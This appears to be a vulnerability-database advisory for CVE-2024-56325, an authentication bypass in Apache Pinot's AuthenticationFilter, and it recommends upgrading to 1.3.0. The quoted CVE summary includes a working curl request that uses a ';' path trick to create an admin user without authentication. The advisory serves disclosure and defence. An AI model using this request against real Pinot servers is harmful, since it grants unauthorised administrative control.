Apache Pinot up to 1.2.x AuthenticationFilter neutralization

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A vulnerability marked as critical has been reported in Apache Pinot up to 1.2.x. This impacts the function AuthenticationFilter. Performing a manipulation results in neutralization. This vulnerability is reported as CVE-2024-56325. The attack is possible to be carried out remotely. No exploit exists. It is suggested to upgrade the affected component.

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A vulnerability classified as critical has been found in Apache Pinot up to 1.2.x. This affects the function AuthenticationFilter. The manipulation with an unknown input leads to a neutralization vulnerability. CWE is classifying the issue as CWE-707. The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

The advisory is shared at zerodayinitiative.com. This vulnerability is uniquely identified as CVE-2024-56325 since 12/19/2024. The exploitability is told to be easy. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details are known, but no exploit is available. The price for an exploit might be around USD $0-$5k at the moment (estimation calculated on 07/16/2025).

Upgrading to version 1.3.0 eliminates this vulnerability.

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• Apache

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• Pinot

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• 1.0
• 1.1
• 1.2

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• open-source

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• Vendor: https://www.apache.org/

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